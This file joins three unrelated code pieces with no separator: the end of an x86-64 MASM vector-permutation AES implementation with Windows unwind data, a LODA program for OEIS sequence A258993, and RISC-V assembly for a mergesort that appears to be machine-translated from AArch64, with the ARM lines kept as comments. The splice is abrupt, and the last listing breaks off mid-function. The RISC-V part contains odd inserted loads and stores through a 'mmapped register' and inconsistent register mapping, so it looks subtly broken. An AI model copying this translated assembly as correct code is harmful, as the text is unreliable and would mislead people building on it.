xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[184+rsp] $L$enc_key_epilogue:: xor eax,eax mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_vpaes_set_encrypt_key:: vpaes_set_encrypt_key ENDP PUBLIC vpaes_set_decrypt_key ALIGN 16 vpaes_set_decrypt_key PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_vpaes_set_decrypt_key:: mov rdi,rcx mov rsi,rdx mov rdx,r8 lea rsp,QWORD PTR[((-184))+rsp] movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$dec_key_body:: mov eax,esi shr eax,5 add eax,5 mov DWORD PTR[240+rdx],eax shl eax,4 lea rdx,QWORD PTR[16+rax*1+rdx] mov ecx,1 mov r8d,esi shr r8d,1 and r8d,32 xor r8d,32 call _vpaes_schedule_core movaps xmm6,XMMWORD PTR[16+rsp] movaps xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[184+rsp] $L$dec_key_epilogue:: xor eax,eax mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_vpaes_set_decrypt_key:: vpaes_set_decrypt_key ENDP PUBLIC vpaes_encrypt ALIGN 16 vpaes_encrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_vpaes_encrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 lea rsp,QWORD PTR[((-184))+rsp] movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$enc_body:: movdqu xmm0,XMMWORD PTR[rdi] call _vpaes_preheat call _vpaes_encrypt_core movdqu XMMWORD PTR[rsi],xmm0 movaps xmm6,XMMWORD PTR[16+rsp] movaps xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[184+rsp] $L$enc_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_vpaes_encrypt:: vpaes_encrypt ENDP PUBLIC vpaes_decrypt ALIGN 16 vpaes_decrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_vpaes_decrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 lea rsp,QWORD PTR[((-184))+rsp] movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$dec_body:: movdqu xmm0,XMMWORD PTR[rdi] call _vpaes_preheat call _vpaes_decrypt_core movdqu XMMWORD PTR[rsi],xmm0 movaps xmm6,XMMWORD PTR[16+rsp] movaps xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[184+rsp] $L$dec_epilogue:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_vpaes_decrypt:: vpaes_decrypt ENDP PUBLIC vpaes_cbc_encrypt ALIGN 16 vpaes_cbc_encrypt PROC PUBLIC mov QWORD PTR[8+rsp],rdi ;WIN64 prologue mov QWORD PTR[16+rsp],rsi mov rax,rsp $L$SEH_begin_vpaes_cbc_encrypt:: mov rdi,rcx mov rsi,rdx mov rdx,r8 mov rcx,r9 mov r8,QWORD PTR[40+rsp] mov r9,QWORD PTR[48+rsp] xchg rdx,rcx sub rcx,16 jc $L$cbc_abort lea rsp,QWORD PTR[((-184))+rsp] movaps XMMWORD PTR[16+rsp],xmm6 movaps XMMWORD PTR[32+rsp],xmm7 movaps XMMWORD PTR[48+rsp],xmm8 movaps XMMWORD PTR[64+rsp],xmm9 movaps XMMWORD PTR[80+rsp],xmm10 movaps XMMWORD PTR[96+rsp],xmm11 movaps XMMWORD PTR[112+rsp],xmm12 movaps XMMWORD PTR[128+rsp],xmm13 movaps XMMWORD PTR[144+rsp],xmm14 movaps XMMWORD PTR[160+rsp],xmm15 $L$cbc_body:: movdqu xmm6,XMMWORD PTR[r8] sub rsi,rdi call _vpaes_preheat cmp r9d,0 je $L$cbc_dec_loop jmp $L$cbc_enc_loop ALIGN 16 $L$cbc_enc_loop:: movdqu xmm0,XMMWORD PTR[rdi] pxor xmm0,xmm6 call _vpaes_encrypt_core movdqa xmm6,xmm0 movdqu XMMWORD PTR[rdi*1+rsi],xmm0 lea rdi,QWORD PTR[16+rdi] sub rcx,16 jnc $L$cbc_enc_loop jmp $L$cbc_done ALIGN 16 $L$cbc_dec_loop:: movdqu xmm0,XMMWORD PTR[rdi] movdqa xmm7,xmm0 call _vpaes_decrypt_core pxor xmm0,xmm6 movdqa xmm6,xmm7 movdqu XMMWORD PTR[rdi*1+rsi],xmm0 lea rdi,QWORD PTR[16+rdi] sub rcx,16 jnc $L$cbc_dec_loop $L$cbc_done:: movdqu XMMWORD PTR[r8],xmm6 movaps xmm6,XMMWORD PTR[16+rsp] movaps xmm7,XMMWORD PTR[32+rsp] movaps xmm8,XMMWORD PTR[48+rsp] movaps xmm9,XMMWORD PTR[64+rsp] movaps xmm10,XMMWORD PTR[80+rsp] movaps xmm11,XMMWORD PTR[96+rsp] movaps xmm12,XMMWORD PTR[112+rsp] movaps xmm13,XMMWORD PTR[128+rsp] movaps xmm14,XMMWORD PTR[144+rsp] movaps xmm15,XMMWORD PTR[160+rsp] lea rsp,QWORD PTR[184+rsp] $L$cbc_epilogue:: $L$cbc_abort:: mov rdi,QWORD PTR[8+rsp] ;WIN64 epilogue mov rsi,QWORD PTR[16+rsp] DB 0F3h,0C3h ;repret $L$SEH_end_vpaes_cbc_encrypt:: vpaes_cbc_encrypt ENDP ALIGN 16 _vpaes_preheat PROC PRIVATE lea r10,QWORD PTR[$L$k_s0F] movdqa xmm10,XMMWORD PTR[((-32))+r10] movdqa xmm11,XMMWORD PTR[((-16))+r10] movdqa xmm9,XMMWORD PTR[r10] movdqa xmm13,XMMWORD PTR[48+r10] movdqa xmm12,XMMWORD PTR[64+r10] movdqa xmm15,XMMWORD PTR[80+r10] movdqa xmm14,XMMWORD PTR[96+r10] DB 0F3h,0C3h ;repret _vpaes_preheat ENDP ALIGN 64 _vpaes_consts:: $L$k_inv:: DQ 00E05060F0D080180h,0040703090A0B0C02h DQ 001040A060F0B0780h,0030D0E0C02050809h $L$k_s0F:: DQ 00F0F0F0F0F0F0F0Fh,00F0F0F0F0F0F0F0Fh $L$k_ipt:: DQ 0C2B2E8985A2A7000h,0CABAE09052227808h DQ 04C01307D317C4D00h,0CD80B1FCB0FDCC81h $L$k_sb1:: DQ 0B19BE18FCB503E00h,0A5DF7A6E142AF544h DQ 03618D415FAE22300h,03BF7CCC10D2ED9EFh $L$k_sb2:: DQ 0E27A93C60B712400h,05EB7E955BC982FCDh DQ 069EB88400AE12900h,0C2A163C8AB82234Ah $L$k_sbo:: DQ 0D0D26D176FBDC700h,015AABF7AC502A878h DQ 0CFE474A55FBB6A00h,08E1E90D1412B35FAh $L$k_mc_forward:: DQ 00407060500030201h,00C0F0E0D080B0A09h DQ 0080B0A0904070605h,0000302010C0F0E0Dh DQ 00C0F0E0D080B0A09h,00407060500030201h DQ 0000302010C0F0E0Dh,0080B0A0904070605h $L$k_mc_backward:: DQ 00605040702010003h,00E0D0C0F0A09080Bh DQ 0020100030E0D0C0Fh,00A09080B06050407h DQ 00E0D0C0F0A09080Bh,00605040702010003h DQ 00A09080B06050407h,0020100030E0D0C0Fh $L$k_sr:: DQ 00706050403020100h,00F0E0D0C0B0A0908h DQ 0030E09040F0A0500h,00B06010C07020D08h DQ 00F060D040B020900h,0070E050C030A0108h DQ 00B0E0104070A0D00h,00306090C0F020508h $L$k_rcon:: DQ 01F8391B9AF9DEEB6h,0702A98084D7C7D81h $L$k_s63:: DQ 05B5B5B5B5B5B5B5Bh,05B5B5B5B5B5B5B5Bh $L$k_opt:: DQ 0FF9F4929D6B66000h,0F7974121DEBE6808h DQ 001EDBD5150BCEC00h,0E10D5DB1B05C0CE0h $L$k_deskew:: DQ 007E4A34047A4E300h,01DFEB95A5DBEF91Ah DQ 05F36B5DC83EA6900h,02841C2ABF49D1E77h $L$k_dksd:: DQ 0FEB91A5DA3E44700h,00740E3A45A1DBEF9h DQ 041C277F4B5368300h,05FDC69EAAB289D1Eh $L$k_dksb:: DQ 09A4FCA1F8550D500h,003D653861CC94C99h DQ 0115BEDA7B6FC4A00h,0D993256F7E3482C8h $L$k_dkse:: DQ 0D5031CCA1FC9D600h,053859A4C994F5086h DQ 0A23196054FDC7BE8h,0CD5EF96A20B31487h $L$k_dks9:: DQ 0B6116FC87ED9A700h,04AED933482255BFCh DQ 04576516227143300h,08BB89FACE9DAFDCEh $L$k_dipt:: DQ 00F505B040B545F00h,0154A411E114E451Ah DQ 086E383E660056500h,012771772F491F194h $L$k_dsb9:: DQ 0851C03539A86D600h,0CAD51F504F994CC9h DQ 0C03B1789ECD74900h,0725E2C9EB2FBA565h $L$k_dsbd:: DQ 07D57CCDFE6B1A200h,0F56E9B13882A4439h DQ 03CE2FAF724C6CB00h,02931180D15DEEFD3h $L$k_dsbb:: DQ 0D022649296B44200h,0602646F6B0F2D404h DQ 0C19498A6CD596700h,0F3FF0C3E3255AA6Bh $L$k_dsbe:: DQ 046F2929626D4D000h,02242600464B4F6B0h DQ 00C55A6CDFFAAC100h,09467F36B98593E32h $L$k_dsbo:: DQ 01387EA537EF94000h,0C7AA6DB9D4943E2Dh DQ 012D7560F93441D00h,0CA4B8159D8C58E9Ch DB 86,101,99,116,111,114,32,80,101,114,109,117,116,97,116,105 DB 111,110,32,65,69,83,32,102,111,114,32,120,56,54,95,54 DB 52,47,83,83,83,69,51,44,32,77,105,107,101,32,72,97 DB 109,98,117,114,103,32,40,83,116,97,110,102,111,114,100,32 DB 85,110,105,118,101,114,115,105,116,121,41,0 ALIGN 64 EXTERN __imp_RtlVirtualUnwind:NEAR ALIGN 16 se_handler PROC PRIVATE push rsi push rdi push rbx push rbp push r12 push r13 push r14 push r15 pushfq sub rsp,64 mov rax,QWORD PTR[120+r8] mov rbx,QWORD PTR[248+r8] mov rsi,QWORD PTR[8+r9] mov r11,QWORD PTR[56+r9] mov r10d,DWORD PTR[r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jb $L$in_prologue mov rax,QWORD PTR[152+r8] mov r10d,DWORD PTR[4+r11] lea r10,QWORD PTR[r10*1+rsi] cmp rbx,r10 jae $L$in_prologue lea rsi,QWORD PTR[16+rax] lea rdi,QWORD PTR[512+r8] mov ecx,20 DD 0a548f3fch lea rax,QWORD PTR[184+rax] $L$in_prologue:: mov rdi,QWORD PTR[8+rax] mov rsi,QWORD PTR[16+rax] mov QWORD PTR[152+r8],rax mov QWORD PTR[168+r8],rsi mov QWORD PTR[176+r8],rdi mov rdi,QWORD PTR[40+r9] mov rsi,r8 mov ecx,154 DD 0a548f3fch mov rsi,r9 xor rcx,rcx mov rdx,QWORD PTR[8+rsi] mov r8,QWORD PTR[rsi] mov r9,QWORD PTR[16+rsi] mov r10,QWORD PTR[40+rsi] lea r11,QWORD PTR[56+rsi] lea r12,QWORD PTR[24+rsi] mov QWORD PTR[32+rsp],r10 mov QWORD PTR[40+rsp],r11 mov QWORD PTR[48+rsp],r12 mov QWORD PTR[56+rsp],rcx call QWORD PTR[__imp_RtlVirtualUnwind] mov eax,1 add rsp,64 popfq pop r15 pop r14 pop r13 pop r12 pop rbp pop rbx pop rdi pop rsi DB 0F3h,0C3h ;repret se_handler ENDP .text$ ENDS .pdata SEGMENT READONLY ALIGN(4) ALIGN 4 DD imagerel $L$SEH_begin_vpaes_set_encrypt_key DD imagerel $L$SEH_end_vpaes_set_encrypt_key DD imagerel $L$SEH_info_vpaes_set_encrypt_key DD imagerel $L$SEH_begin_vpaes_set_decrypt_key DD imagerel $L$SEH_end_vpaes_set_decrypt_key DD imagerel $L$SEH_info_vpaes_set_decrypt_key DD imagerel $L$SEH_begin_vpaes_encrypt DD imagerel $L$SEH_end_vpaes_encrypt DD imagerel $L$SEH_info_vpaes_encrypt DD imagerel $L$SEH_begin_vpaes_decrypt DD imagerel $L$SEH_end_vpaes_decrypt DD imagerel $L$SEH_info_vpaes_decrypt DD imagerel $L$SEH_begin_vpaes_cbc_encrypt DD imagerel $L$SEH_end_vpaes_cbc_encrypt DD imagerel $L$SEH_info_vpaes_cbc_encrypt .pdata ENDS .xdata SEGMENT READONLY ALIGN(8) ALIGN 8 $L$SEH_info_vpaes_set_encrypt_key:: DB 9,0,0,0 DD imagerel se_handler DD imagerel $L$enc_key_body,imagerel $L$enc_key_epilogue $L$SEH_info_vpaes_set_decrypt_key:: DB 9,0,0,0 DD imagerel se_handler DD imagerel $L$dec_key_body,imagerel $L$dec_key_epilogue $L$SEH_info_vpaes_encrypt:: DB 9,0,0,0 DD imagerel se_handler DD imagerel $L$enc_body,imagerel $L$enc_epilogue $L$SEH_info_vpaes_decrypt:: DB 9,0,0,0 DD imagerel se_handler DD imagerel $L$dec_body,imagerel $L$dec_epilogue $L$SEH_info_vpaes_cbc_encrypt:: DB 9,0,0,0 DD imagerel se_handler DD imagerel $L$cbc_body,imagerel $L$cbc_epilogue .xdata ENDS END
; A258993: Triangle read by rows: T(n,k) = binomial(n+k,n-k), k = 0..n-1. ; Submitted by Jamie Morken(s1.) ; 1,1,3,1,6,5,1,10,15,7,1,15,35,28,9,1,21,70,84,45,11,1,28,126,210,165,66,13,1,36,210,462,495,286,91,15,1,45,330,924,1287,1001,455,120,17,1,55,495,1716,3003,3003,1820,680,153,19,1,66,715,3003,6435,8008,6188,3060,969,190,21,1,78,1001,5005,12870,19448,18564,11628,4845,1330,231,23,1,91,1365,8008,24310,43758,50388,38760,20349,7315,1771,276,25,1,105,1820,12376,43758,92378,125970,116280,74613 lpb $0 mov $1,1 add $1,$0 add $2,1 sub $0,$2 lpe mul $0,2 bin $1,$0 mov $0,$1
.file "large_mergesort.c" .section .tdata REG_BANK: .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .dword 0 .text .align 2 .global merge .type merge, %function merge: # stp x29, x30, [sp, -128]! sd x8, -128(sp) sd ra, -120(sp) addi sp, sp, -128 # writeback # add x29, sp, 0 addi x8, sp, 0 # str x19, [sp, 16] sd x18, 16(sp) # str x0, [x29, 56] sd x10, 56(x8) # str w1, [x29, 52] sw x11, 52(x8) # str w2, [x29, 48] sw x12, 48(x8) # str w3, [x29, 44] sw x13, 44(x8) # adrp x0, :got:__stack_chk_guard lui x10, %hi(__stack_chk_guard) # ldr x0, [x0, #:got_lo12:__stack_chk_guard] add x10, x10, %lo(__stack_chk_guard) # load from GOT -> ADD! # ldr x1, [x0] ld x11, 0(x10) # str x1, [x29, 120] sd x11, 120(x8) # mov x1,0 li x11, 0 # mov x0, sp mv x10, sp # mov x3, x0 mv x13, x10 # ldr w1, [x29, 48] lw x11, 48(x8) # ldr w0, [x29, 52] lw x10, 52(x8) # sub w0, w1, w0 subw x10, x11, x10 # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 80] sw x10, 80(x8) # ldr w1, [x29, 44] lw x11, 44(x8) # ldr w0, [x29, 48] lw x10, 48(x8) # sub w0, w1, w0 subw x10, x11, x10 # str w0, [x29, 84] sw x10, 84(x8) # ldr w0, [x29, 80] lw x10, 80(x8) # sxtw x1, w0 sext.w x11, x10 # sub x1, x1, #1 addi x11, x11, -1 # str x1, [x29, 88] sd x11, 88(x8) # sxtw x1, w0 sext.w x11, x10 # mov x18, x1 ld x22, 8(x21) # load of mmapped register mv x22, x11 sd x22, 8(x21) # store of mmapped register # mov x19, 0 li x18, 0 # lsr x1, x18, 59 ld x22, 8(x21) # load of mmapped register srli x11, x22, 59 # lsl x11, x19, 5 slli x7, x18, 5 # orr x11, x1, x11 or x7, x11, x7 # lsl x10, x18, 5 ld x22, 8(x21) # load of mmapped register slli x6, x22, 5 # sxtw x1, w0 sext.w x11, x10 # mov x16, x1 mv x27, x11 # mov x17, 0 ld x22, 0(x21) # load of mmapped register li x22, 0 sd x22, 0(x21) # store of mmapped register # lsr x1, x16, 59 srli x11, x27, 59 # lsl x9, x17, 5 ld x22, 0(x21) # load of mmapped register slli x5, x22, 5 # orr x9, x1, x9 or x5, x11, x5 # lsl x8, x16, 5 slli x9, x27, 5 # sxtw x0, w0 sext.w x10, x10 # lsl x0, x0, 2 slli x10, x10, 2 # add x0, x0, 3 addi x10, x10, 3 # add x0, x0, 15 addi x10, x10, 15 # lsr x0, x0, 4 srli x10, x10, 4 # lsl x0, x0, 4 slli x10, x10, 4 # sub sp, sp, x0 sub sp, sp, x10 # mov x0, sp mv x10, sp # add x0, x0, 3 addi x10, x10, 3 # lsr x0, x0, 2 srli x10, x10, 2 # lsl x0, x0, 2 slli x10, x10, 2 # str x0, [x29, 96] sd x10, 96(x8) # ldr w0, [x29, 84] lw x10, 84(x8) # sxtw x1, w0 sext.w x11, x10 # sub x1, x1, #1 addi x11, x11, -1 # str x1, [x29, 104] sd x11, 104(x8) # sxtw x1, w0 sext.w x11, x10 # mov x14, x1 mv x30, x11 # mov x15, 0 li x31, 0 # lsr x1, x14, 59 srli x11, x30, 59 # lsl x7, x15, 5 slli x17, x31, 5 # orr x7, x1, x7 or x17, x11, x17 # lsl x6, x14, 5 slli x16, x30, 5 # sxtw x1, w0 sext.w x11, x10 # mov x12, x1 mv x28, x11 # mov x13, 0 li x29, 0 # lsr x1, x12, 59 srli x11, x28, 59 # lsl x5, x13, 5 slli x15, x29, 5 # orr x5, x1, x5 or x15, x11, x15 # lsl x4, x12, 5 slli x14, x28, 5 # sxtw x0, w0 sext.w x10, x10 # lsl x0, x0, 2 slli x10, x10, 2 # add x0, x0, 3 addi x10, x10, 3 # add x0, x0, 15 addi x10, x10, 15 # lsr x0, x0, 4 srli x10, x10, 4 # lsl x0, x0, 4 slli x10, x10, 4 # sub sp, sp, x0 sub sp, sp, x10 # mov x0, sp mv x10, sp # add x0, x0, 3 addi x10, x10, 3 # lsr x0, x0, 2 srli x10, x10, 2 # lsl x0, x0, 2 slli x10, x10, 2 # str x0, [x29, 112] sd x10, 112(x8) # str wzr, [x29, 76] sw x0, 76(x8) # b .L2 j .L2 .L3: # ldr w1, [x29, 52] lw x11, 52(x8) # ldr w0, [x29, 76] lw x10, 76(x8) # add w0, w1, w0 addw x10, x11, x10 # sxtw x0, w0 sext.w x10, x10 # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr w2, [x0] lw x12, 0(x10) # ldr x0, [x29, 96] ld x10, 96(x8) # ldrsw x1, [x29, 76] lw x11, 76(x8) # str w2, [x0, x1, lsl 2] slli x26, x11, 2 add x26, x26, x10 # converting offset register to add sw x12, 0(x26) # ldr w0, [x29, 76] lw x10, 76(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 76] sw x10, 76(x8) .L2: # ldr w1, [x29, 76] lw x11, 76(x8) # ldr w0, [x29, 80] lw x10, 80(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L3 blt x25, x0, .L3 # str wzr, [x29, 72] sw x0, 72(x8) # b .L4 j .L4 .L5: # ldr w0, [x29, 48] lw x10, 48(x8) # add w1, w0, 1 addiw x11, x10, 1 # ldr w0, [x29, 72] lw x10, 72(x8) # add w0, w1, w0 addw x10, x11, x10 # sxtw x0, w0 sext.w x10, x10 # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr w2, [x0] lw x12, 0(x10) # ldr x0, [x29, 112] ld x10, 112(x8) # ldrsw x1, [x29, 72] lw x11, 72(x8) # str w2, [x0, x1, lsl 2] slli x26, x11, 2 add x26, x26, x10 # converting offset register to add sw x12, 0(x26) # ldr w0, [x29, 72] lw x10, 72(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 72] sw x10, 72(x8) .L4: # ldr w1, [x29, 72] lw x11, 72(x8) # ldr w0, [x29, 84] lw x10, 84(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L5 blt x25, x0, .L5 # str wzr, [x29, 76] sw x0, 76(x8) # str wzr, [x29, 72] sw x0, 72(x8) # ldr w0, [x29, 52] lw x10, 52(x8) # str w0, [x29, 68] sw x10, 68(x8) # b .L6 j .L6 .L10: # ldr x0, [x29, 96] ld x10, 96(x8) # ldrsw x1, [x29, 76] lw x11, 76(x8) # ldr w1, [x0, x1, lsl 2] slli x26, x11, 2 add x26, x26, x10 # converting offset register to add lw x11, 0(x26) # ldr x0, [x29, 112] ld x10, 112(x8) # ldrsw x2, [x29, 72] lw x12, 72(x8) # ldr w0, [x0, x2, lsl 2] slli x26, x12, 2 add x26, x26, x10 # converting offset register to add lw x10, 0(x26) # cmp w1, w0 sub x25, x11, x10 # bgt .L7 bgt x25, x0, .L7 # ldrsw x0, [x29, 68] lw x10, 68(x8) # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr x1, [x29, 96] ld x11, 96(x8) # ldrsw x2, [x29, 76] lw x12, 76(x8) # ldr w1, [x1, x2, lsl 2] slli x26, x12, 2 add x26, x26, x11 # converting offset register to add lw x11, 0(x26) # str w1, [x0] sw x11, 0(x10) # ldr w0, [x29, 76] lw x10, 76(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 76] sw x10, 76(x8) # b .L8 j .L8 .L7: # ldrsw x0, [x29, 68] lw x10, 68(x8) # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr x1, [x29, 112] ld x11, 112(x8) # ldrsw x2, [x29, 72] lw x12, 72(x8) # ldr w1, [x1, x2, lsl 2] slli x26, x12, 2 add x26, x26, x11 # converting offset register to add lw x11, 0(x26) # str w1, [x0] sw x11, 0(x10) # ldr w0, [x29, 72] lw x10, 72(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 72] sw x10, 72(x8) .L8: # ldr w0, [x29, 68] lw x10, 68(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 68] sw x10, 68(x8) .L6: # ldr w1, [x29, 76] lw x11, 76(x8) # ldr w0, [x29, 80] lw x10, 80(x8) # cmp w1, w0 sub x25, x11, x10 # bge .L11 bge x25, x0, .L11 # ldr w1, [x29, 72] lw x11, 72(x8) # ldr w0, [x29, 84] lw x10, 84(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L10 blt x25, x0, .L10 # b .L11 j .L11 .L12: # ldrsw x0, [x29, 68] lw x10, 68(x8) # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr x1, [x29, 96] ld x11, 96(x8) # ldrsw x2, [x29, 76] lw x12, 76(x8) # ldr w1, [x1, x2, lsl 2] slli x26, x12, 2 add x26, x26, x11 # converting offset register to add lw x11, 0(x26) # str w1, [x0] sw x11, 0(x10) # ldr w0, [x29, 76] lw x10, 76(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 76] sw x10, 76(x8) # ldr w0, [x29, 68] lw x10, 68(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 68] sw x10, 68(x8) .L11: # ldr w1, [x29, 76] lw x11, 76(x8) # ldr w0, [x29, 80] lw x10, 80(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L12 blt x25, x0, .L12 # b .L13 j .L13 .L14: # ldrsw x0, [x29, 68] lw x10, 68(x8) # lsl x0, x0, 2 slli x10, x10, 2 # ldr x1, [x29, 56] ld x11, 56(x8) # add x0, x1, x0 add x10, x11, x10 # ldr x1, [x29, 112] ld x11, 112(x8) # ldrsw x2, [x29, 72] lw x12, 72(x8) # ldr w1, [x1, x2, lsl 2] slli x26, x12, 2 add x26, x26, x11 # converting offset register to add lw x11, 0(x26) # str w1, [x0] sw x11, 0(x10) # ldr w0, [x29, 72] lw x10, 72(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 72] sw x10, 72(x8) # ldr w0, [x29, 68] lw x10, 68(x8) # add w0, w0, 1 addiw x10, x10, 1 # str w0, [x29, 68] sw x10, 68(x8) .L13: # ldr w1, [x29, 72] lw x11, 72(x8) # ldr w0, [x29, 84] lw x10, 84(x8) # cmp w1, w0 sub x25, x11, x10 # blt .L14 blt x25, x0, .L14 # mov sp, x3 mv sp, x13 # nop nop # adrp x0, :got:__stack_chk_guard lui x10, %hi(__stack_chk_guard) # ldr x0, [x0, #:got_lo12:__stack_chk_guard] add x10, x10, %lo(__stack_chk_guard) # load from GOT -> ADD! # ldr x1, [x29, 120] ld x11, 120(x8) # ldr x0, [x0] ld x10, 0(x10) # eor x0, x1, x0 xor x10, x11, x10 # cmp x0, 0 addi x25, x10, 0 # beq .L15 beq x25, x0, .L15 # bl __stack_chk_fail call __stack_chk_fail .L15: # add sp, x29, 0 addi sp, x8, 0 # ldr x19, [sp, 16] ld x18, 16(sp) # ldp x29, x30, [sp], 128 ld x8, 0(sp) ld ra, 8(sp) addi sp, sp, 128 # writeback # ret ret .size merge, .-merge .align 2 .global mergeSort .type mergeSort, %function mergeSort: # stp x29, x30, [sp, -48]! sd x8, -48(sp) sd ra, -40(sp) addi sp, sp, -48 # writeback # add x29, sp, 0 addi x8, sp, 0 # str x0, [x29, 24] sd x10, 24(x8) # str w1, [x29, 20] sw x11, 20(x8) # str w2, [x29, 16] sw x12, 16(x8) # ldr w1, [x29, 20] lw x11, 20(x8) # ldr w0, [x29, 16] lw x10, 16(x8) # cmp w1, w0 sub x25, x11, x10 # bge .L18 bge x25, x0, .L18 # ldr w1, [x29, 16] lw x11, 16(x8) # ldr w0, [x29, 20] lw x10, 20(x8) # sub w0, w1, w0 subw x10, x11, x10 # lsr w1, w0, 31 srliw x11, x10, 31 # add w0, w1, w0 addw x10, x11, x10 # asr w0, w0, 1 sraiw x10, x10, 1 # mov w1, w0 mv x11, x10 # ldr w0, [x29, 20] lw x10, 20(x8) # add w0, w0, w1 addw x10, x10, x11 # str w0, [x29, 44] sw x10, 44(x8) # ldr w2, [x29, 44] lw x12, 44(x8) # ldr w1, [x29, 20] lw x11, 20(x8) # ldr x0, [x29, 24] ld x10, 24(x8) # bl mergeSort call mergeSort # ldr w0, [x29, 44] lw x10, 44(x8) # add w0, w0, 1 addiw x10, x10, 1 # ldr w2, [x29, 16] lw x12, 16(x8) # mov w1, w0 mv x11, x10 # ldr x0, [x29, 24] ld x10, 24(x8) # bl mergeSort call mergeSort # ldr w3, [x29, 16] 